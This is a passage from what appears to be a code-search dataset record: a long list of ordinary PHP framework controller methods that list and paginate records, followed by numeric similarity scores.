$this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Display a listing of the resource.
public function indexAdmin() { $user = auth()->user(); $user->breadcrumbs = collect([['nombre' => 'Cotizador', 'ruta' => null]]); return view('pages.cotizador.index_admin'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n 